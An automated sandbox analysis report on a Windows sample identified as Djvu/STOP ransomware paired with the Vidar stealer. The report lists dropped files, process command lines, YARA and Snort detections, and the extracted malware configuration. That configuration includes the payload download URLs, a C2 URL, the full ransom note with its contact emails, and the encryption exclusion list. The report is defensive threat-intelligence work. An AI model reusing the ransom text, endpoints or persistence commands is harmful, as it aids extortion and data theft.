
ID: 679173
Sample Name:
2OmglUwx83.exe
Cookbook: default.jbs
Time: 11:21:09
Date: 05/08/2022
Version: 35.0.0 Citrine
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Created / dropped Files
C:\ProgramData\05322493605623596985969059
C:\ProgramData\26935466222163289633987941
C:\ProgramData\57030713821379500194956248
C:\ProgramData\71094135503925161979660642
C:\ProgramData\74995908947202801370833703
C:\ProgramData\87748271858601039393839930
C:\SystemID\PersonalID.txt
C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt19.lst
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt19.lst
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin
C:\Users\user\AppData\Local\Adobe\Color\ACECache11.lst
C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jcp
C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs
C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs
C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx
C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp
C:\Users\user\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma
C:\Users\user\AppData\Local\Google\Chrome\User Data\CrashpadMetrics.pma
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C:\Users\user\AppData\Local\IconCache.db
C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sdiagnhost.exe.log
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\ngen.log
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\ngen.log
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\UrlBlock\urlblock_637194112741176080.bin
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\VersionManager\versionlist.xml
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-100.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-125.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-150.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-200.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-400.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-100.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-125.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-150.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-200.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-400.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-100.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-125.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-150.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-200.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-400.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-100.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-125.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-150.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-200.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-400.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-100.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-125.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-150.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-200.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-400.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-100.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-125.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-150.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-200.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-400.png
C:\Users\user\AppData\Local\Microsoft\OneDrive\OneDrive.VisualElementsManifest.xml
C:\Users\user\AppData\Local\Microsoft\OneDrive\Resources.pri
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\ECSConfig.json
C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat
C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres
C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol
C:\Users\user\AppData\Local\Microsoft\Windows\1033\StructuredQuerySchema.bin
C:\Users\user\AppData\Local\Microsoft\Windows\ActionCenterCache\windows-systemtoast-securityandmaintenance_29_0.png
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{278F5142-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000015.db
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000008.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db

Static File Info
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General
File Icon
Static PE Info

General
Entrypoint Preview
Rich Headers
Data Directories
Sections
Resources
Imports
Possible Origin

Network Behavior
Snort IDS Alerts
Network Port Distribution
TCP Packets
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DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTP Packets
HTTPS Proxied Packets

Statistics
Behavior

System Behavior
Analysis Process: 2OmglUwx83.exePID: 3456, Parent PID: 2904

General

Analysis Process: 2OmglUwx83.exePID: 5360, Parent PID: 3456
General
File Activities

File Created
File Written

Registry Activities
Key Value Created

Analysis Process: icacls.exePID: 3468, Parent PID: 5360
General
File Activities

File Written

Analysis Process: 2OmglUwx83.exePID: 5272, Parent PID: 5360
General

Analysis Process: 2OmglUwx83.exePID: 3044, Parent PID: 1108
General

Analysis Process: 2OmglUwx83.exePID: 5076, Parent PID: 5272
General
File Activities

File Created
File Moved
File Written
File Read

Registry Activities
Key Value Created

Analysis Process: 2OmglUwx83.exePID: 1504, Parent PID: 3044
General
File Activities

File Created

Analysis Process: 2OmglUwx83.exePID: 5944, Parent PID: 3808
General

Analysis Process: 2OmglUwx83.exePID: 3788, Parent PID: 5944
General
File Activities

File Created

Analysis Process: build2.exePID: 2928, Parent PID: 5076
General

Analysis Process: build2.exePID: 5652, Parent PID: 2928
General

Analysis Process: 2OmglUwx83.exePID: 4444, Parent PID: 3808
General

Analysis Process: 2OmglUwx83.exePID: 4484, Parent PID: 4444
General

Disassembly
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Windows Analysis Report 
2OmglUwx83.exe

Overview

General Information

Sample 
Name:

2OmglUwx83.exe

Analysis ID: 679173

MD5: 24b6effdd763bef…

SHA1: dd09691ceccd54…

SHA256: d0202dee37da4d…

Tags: exe Stop

Infos:

Detection

Djvu, Vidar

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found ransom note / readme

Antivirus detection for URL or domain

Detected unpacking (creates a PE f…

Snort IDS alert for network traffic

Multi AV Scanner detection for subm…

Malicious sample detected (through…

Yara detected Djvu Ransomware

Yara detected Vidar stealer

Multi AV Scanner detection for drop…

Uses known network protocols on n…

Machine Learning detection for sam…

Modifies existing user documents (l…

Injects a PE file into a foreign proce…

Contains functionality to inject code…

Writes many files with high entropy

Found many strings related to Crypt…

Tries to harvest and steal browser in…

Tries to steal Crypto Currency Walle…

Tries to harvest and steal Putty / W…

Machine Learning detection for drop…

C2 URLs / IPs found in malware con…

Contains functionality to query local…

May sleep (evasive loops) to hinder…

Uses code obfuscation techniques (…

Detected potential crypto function

Sample execution stops while proce…

Found evasive API chain (may stop…

JA3 SSL client fingerprint seen in co…

Contains functionality to dynamicall…

HTTP GET or POST without a user …

Downloads executable code via HTT…

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

PE file contains strange resources

Drops PE files

Contains functionality to read the PE…

Dropped file seen in connection with…

Creates a process in suspended mo…

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

2OmglUwx83.exe (PID: 3456 cmdline: "C:\Users\user\Desktop\2OmglUwx83.exe" MD5: 24B6EFFDD763BEFB6FF4A657E15C77BC)

2OmglUwx83.exe (PID: 5360 cmdline: "C:\Users\user\Desktop\2OmglUwx83.exe" MD5: 24B6EFFDD763BEFB6FF4A657E15C77BC)

icacls.exe (PID: 3468 cmdline: icacls "C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5:

FF0D1D4317A44C951240FAE75075D501)
2OmglUwx83.exe (PID: 5272 cmdline: "C:\Users\user\Desktop\2OmglUwx83.exe" --Admin IsNotAutoStart IsNotTask MD5: 24B6EFFDD763BEFB6FF4A657E15C77BC)

2OmglUwx83.exe (PID: 5076 cmdline: "C:\Users\user\Desktop\2OmglUwx83.exe" --Admin IsNotAutoStart IsNotTask MD5:

24B6EFFDD763BEFB6FF4A657E15C77BC)
build2.exe (PID: 2928 cmdline: "C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe" MD5:

2F3D0323BA962334EF87ED098AD02289)
build2.exe (PID: 5652 cmdline: "C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe" MD5:

2F3D0323BA962334EF87ED098AD02289)
2OmglUwx83.exe (PID: 3044 cmdline: C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe --Task MD5:

24B6EFFDD763BEFB6FF4A657E15C77BC)
2OmglUwx83.exe (PID: 1504 cmdline: C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe --Task MD5:

24B6EFFDD763BEFB6FF4A657E15C77BC)
2OmglUwx83.exe (PID: 5944 cmdline: "C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe" --AutoStart MD5:

24B6EFFDD763BEFB6FF4A657E15C77BC)
2OmglUwx83.exe (PID: 3788 cmdline: "C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe" --AutoStart MD5:

24B6EFFDD763BEFB6FF4A657E15C77BC)
2OmglUwx83.exe (PID: 4444 cmdline: "C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe" --AutoStart MD5:

24B6EFFDD763BEFB6FF4A657E15C77BC)
2OmglUwx83.exe (PID: 4484 cmdline: "C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe" --AutoStart MD5:

24B6EFFDD763BEFB6FF4A657E15C77BC)
cleanup

{

  "Download URLs": [

    "http://rgyui.top/dl/build2.exe",

Process Tree

Malware Configuration

Threatname: Djvu
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    "http://rgyui.top/dl/build2.exe",

    "http://acacaca.org/files/1/build3.exe"

  ],

  "C2 url": "http://acacaca.org/test2/get.php",

  "Ransom note file": "_readme.txt",

  "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with 

strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted 

files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not 

contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-QsoSRIeAK6\r\nPrice of private key and decrypt software is 

$980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your 

e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-

mail:\r\nsupport@bestyourmail.ch\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0531Jhyjd",

  "Ignore Files": [

    "ntuser.dat",

    "ntuser.dat.LOG1",

    "ntuser.dat.LOG2",

    "ntuser.pol",

    ".sys",

    ".ini",

    ".DLL",

    ".dll",

    ".blf",

    ".bat",

    ".lnk",

    ".regtrans-ms",

    "C:\\SystemID\\",

    "C:\\Users\\Default User\\",

    "C:\\Users\\Public\\",

    "C:\\Users\\All Users\\",

    "C:\\Users\\Default\\",

    "C:\\Documents and Settings\\",

    "C:\\ProgramData\\",

    "C:\\Recovery\\",

    "C:\\System Volume Information\\",

    "C:\\Users\\%username%\\AppData\\Roaming\\",

    "C:\\Users\\%username%\\AppData\\Local\\",

    "C:\\Windows\\",

    "C:\\PerfLogs\\",

    "C:\\ProgramData\\Microsoft\\",

    "C:\\ProgramData\\Package Cache\\",

    "C:\\Users\\Public\\",

    "C:\\$Recycle.Bin\\",

    "C:\\$WINDOWS.~BT\\",

    "C:\\dell\\",

    "C:\\Intel\\",

    "C:\\MSOCache\\",

    "C:\\Program Files\\",

    "C:\\Program Files (x86)\\",

    "C:\\Games\\",

    "C:\\Windows.old\\",

    "D:\\Users\\%username%\\AppData\\Roaming\\",

    "D:\\Users\\%username%\\AppData\\Local\\",

    "D:\\Windows\\",

    "D:\\PerfLogs\\",

    "D:\\ProgramData\\Desktop\\",

    "D:\\ProgramData\\Microsoft\\",

    "D:\\ProgramData\\Package Cache\\",

    "D:\\Users\\Public\\",

    "D:\\$Recycle.Bin\\",

    "D:\\$WINDOWS.~BT\\",

    "D:\\dell\\",

    "D:\\Intel\\",

    "D:\\MSOCache\\",

    "D:\\Program Files\\",

    "D:\\Program Files (x86)\\",

    "D:\\Games\\",

    "E:\\Users\\%username%\\AppData\\Roaming\\",

    "E:\\Users\\%username%\\AppData\\Local\\",

    "E:\\Windows\\",

    "E:\\PerfLogs\\",

    "E:\\ProgramData\\Desktop\\",

    "E:\\ProgramData\\Microsoft\\",

    "E:\\ProgramData\\Package Cache\\",

    "E:\\Users\\Public\\",

    "E:\\$Recycle.Bin\\",

    "E:\\$WINDOWS.~BT\\",

    "E:\\dell\\",

    "E:\\Intel\\",

    "E:\\MSOCache\\",

    "E:\\Program Files\\",

    "E:\\Program Files (x86)\\",

    "E:\\Games\\",

    "F:\\Users\\%username%\\AppData\\Roaming\\",

    "F:\\Users\\%username%\\AppData\\Local\\",

    "F:\\Windows\\",

    "F:\\PerfLogs\\",

    "F:\\ProgramData\\Desktop\\",

    "F:\\ProgramData\\Microsoft\\",

    "F:\\Users\\Public\\",

    "F:\\$Recycle.Bin\\",

    "F:\\$WINDOWS.~BT\\",
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    "F:\\dell\\",

    "F:\\Intel\\"

  ],

  "Public Key": "-----BEGIN PUBLIC KEY-----

\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwX6oUNb4mk19lyNBxK80\\\\nWDzdQgJ9XMg2LdYk3Hm0F0zP2rWDuKVpyAbosbOzGKbJOkVa\\/1XbytFAm8RYfkB\\/\\\\nnfEgGh5OGcw\\/CcqqOL3R4Vpd7slL

VXc56FLkTWEMSShzg1sNxgIiQm8VcaXOgUk8\\\\ntvWKcUIV9ujXmn5UBSy\\/ICDPveI3QCaxZod7kIBwZzszO\\/3CvNwAy3eejgJ6j8ie\\\\nmwJ9pjskzLjmq92yhDGUQygWfGw0tL1KtSiqUy2M7KNdmD4FX1aVeutZC9bggvn

8\\\\nV4ksJChvMxI521ms58donyKjwBAbKXBfVRaXUV2k34bI0NQqhLz5OeGIRhn67oe+\\\\njwIDAQAB\\\\n-----END PUBLIC KEY-----"

}

Source Rule Description Author Strings

00000000.00000002.355123959.0000000002290000.00000
040.00001000.00020000.00000000.sdmp

JoeSecurity_Djvu Yara detected Djvu 
Ransomware

Joe Security

00000000.00000002.355123959.0000000002290000.00000
040.00001000.00020000.00000000.sdmp

Windows_Ransom
ware_Stop_1e8d48
ff

unknown unknown 0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Rele
ase\encrypt_win_api.pdb
0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 
FF D3 8D 85 58 FF

0000000D.00000000.409643469.0000000000400000.00000
040.00000400.00020000.00000000.sdmp

Windows_Trojan_
Vidar_114258d5

unknown unknown 0x3eeae:$a2: *wallet*.dat
0x3f0d1:$b1: CC\%s_%s.txt
0x3f119:$b2: History\%s_%s.txt
0x3f101:$b3: Autofill\%s_%s.txt

00000001.00000002.363606430.0000000000400000.00000
040.00000400.00020000.00000000.sdmp

SUSP_XORed_UR
L_in_EXE

Detects an XORed 
URL in an 
executable

Florian Roth 0xe23ea:$s1: http://
0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF
0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF
0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF
0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF
0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF
0xe23ea:$f1: http://

00000001.00000002.363606430.0000000000400000.00000
040.00000400.00020000.00000000.sdmp

JoeSecurity_Djvu Yara detected Djvu 
Ransomware

Joe Security

Click to see the 164 entries

Source Rule Description Author Strings

1.0.2OmglUwx83.exe.400000.3.unpack Windows_Ransom
ware_Stop_1e8d48
ff

unknown unknown 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 
FF D3 8D 85 58 FF

8.0.2OmglUwx83.exe.400000.5.raw.unpack Windows_Ransom
ware_Stop_1e8d48
ff

unknown unknown 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 
FF D3 8D 85 58 FF

12.2.build2.exe.5f15a0.1.raw.unpack Windows_Trojan_
Vidar_114258d5

unknown unknown 0x3e2ae:$a2: *wallet*.dat
0x3e4d1:$b1: CC\%s_%s.txt
0x3e519:$b2: History\%s_%s.txt
0x3e501:$b3: Autofill\%s_%s.txt

13.0.build2.exe.400000.7.raw.unpack Windows_Trojan_
Vidar_114258d5

unknown unknown 0x3eeae:$a2: *wallet*.dat
0x3f0d1:$b1: CC\%s_%s.txt
0x3f119:$b2: History\%s_%s.txt
0x3f101:$b3: Autofill\%s_%s.txt

13.0.build2.exe.400000.1.unpack Windows_Trojan_
Vidar_114258d5

unknown unknown 0x3d8ae:$a2: *wallet*.dat
0x3dad1:$b1: CC\%s_%s.txt
0x3db19:$b2: History\%s_%s.txt
0x3db01:$b3: Autofill\%s_%s.txt

Click to see the 352 entries

⊘ No Sigma rule has matched

Timestamp: 192.168.2.75.163.244.11849773802020826 08/05/22-11:22:43.247171

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures
ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.7 - Destination IP: 5.163.244.118
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AV Detection

SID: 2020826

Source Port: 49773

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.2.75.163.244.11849773802036333 08/05/22-11:22:43.247171

SID: 2036333

Source Port: 49773

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.2.7151.251.24.549771802036333 08/05/22-11:22:38.857196

SID: 2036333

Source Port: 49771

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 5.163.244.118192.168.2.780497722036335 08/05/22-11:22:39.229470

SID: 2036335

Source Port: 80

Destination Port: 49772

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.2.78.8.8.850519532023883 08/05/22-11:22:38.301805

SID: 2023883

Source Port: 50519

Destination Port: 53

Protocol: UDP

Classtype: Potentially Bad Traffic

Timestamp: 192.168.2.7151.251.24.549771802020826 08/05/22-11:22:38.857196

SID: 2020826

Source Port: 49771

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.7 - Destination IP: 5.163.244.118

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.7 - Destination IP: 151.251.24.5

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 5.163.244.118 - Destination IP: 192.168.2.7

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.7 - Destination IP: 151.251.24.5

Joe Sandbox Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Machine Learning detection for dropped file
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Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Remote Access Functionality

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

Detected unpacking (creates a PE file in dynamic memory)

Snort IDS alert for network traffic

Uses known network protocols on non-standard ports

C2 URLs / IPs found in malware configuration

Found ransom note / readme

Yara detected Djvu Ransomware

Modifies existing user documents (likely ransomware behavior)

Writes many files with high entropy

Malicious sample detected (through community Yara rule)

Detected unpacking (creates a PE file in dynamic memory)

Uses known network protocols on non-standard ports

Injects a PE file into a foreign processes

Contains functionality to inject code into remote processes

Yara detected Vidar stealer

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Yara detected Vidar stealer

Mitre Att&ck Matrix
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Behavior Graph
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Behavior Graph
ID: 679173

Sample: 2OmglUwx83.exe

Startdate: 05/08/2022

Architecture: WINDOWS

Score: 100

Snort IDS alert for
network traffic

Malicious sample detected
(through community Yara

rule)

Antivirus detection
for URL or domain 10 other signatures

2OmglUwx83.exe

        started       

2OmglUwx83.exe

        started       

2OmglUwx83.exe

        started       

2OmglUwx83.exe

        started       

Contains functionality
to inject code into
remote processes

Writes many files with
high entropy

Injects a PE file into
a foreign processes

2OmglUwx83.exe

1 16

        started       

2OmglUwx83.exe

12

        started       

2OmglUwx83.exe

12

        started       

2OmglUwx83.exe

        started       

api.2ip.ua

162.0.217.254, 443, 49769, 49770

ACPCA

Canada

C:\Users\...\2OmglUwx83.exe:Zone.Identifier, ASCII

dropped

C:\Users\user\AppData\...\2OmglUwx83.exe, MS-DOS

dropped

2OmglUwx83.exe

        started       

icacls.exe

        started       

192.168.2.1

unknown

unknown

Injects a PE file into
a foreign processes

2OmglUwx83.exe

1 23

        started       

acacaca.org

5.163.244.118, 49772, 49773, 80

SAUDINETSTC-ASSA

Saudi Arabia

rgyui.top

151.251.24.5, 49771, 80

IBGCBG

Bulgaria

api.2ip.ua

C:\Users\user\AppData\Local\...\build2[1].exe, PE32

dropped

C:\Users\user\AppData\Local\...\build2.exe, PE32

dropped

C:\_readme.txt, ASCII

dropped

34 other files (30 malicious)

dropped

Modifies existing user
documents (likely ransomware

behavior)

build2.exe

        started       

Multi AV Scanner detection
for dropped file

Detected unpacking (creates
a PE file in dynamic

memory)

Machine Learning detection
for dropped file

build2.exe

        started       

t.me

149.154.167.99, 443, 49775

TELEGRAMRU

United Kingdom

49.12.9.140, 1080, 49780

HETZNER-ASDE

Germany

Tries to harvest and
steal Putty / WinSCP

information (sessions,
passwords, etc)

Tries to harvest and
steal browser information

(history, passwords,
etc)

Tries to steal Crypto
Currency Wallets

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots

Thumbnails
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Source Detection Scanner Label Link

2OmglUwx83.exe 55% Virustotal Browse

2OmglUwx83.exe 45% ReversingLabs Win32.Ransomwar
e.Stop

2OmglUwx83.exe 100% Joe Sandbox ML

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\build2[1].exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe 37% Metadefender Browse

C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe 81% ReversingLabs Win32.Ransomwar
e.StopCrypt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\build2[1].exe 37% Metadefender Browse

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\build2[1].exe 81% ReversingLabs Win32.Ransomwar
e.StopCrypt

Source Detection Scanner Label Link Download

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files
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8.0.2OmglUwx83.exe.400000.7.unpack 100% Avira HEUR/AGEN.12
23627

15.0.2OmglUwx83.exe.400000.7.unpack 100% Avira HEUR/AGEN.12
23627

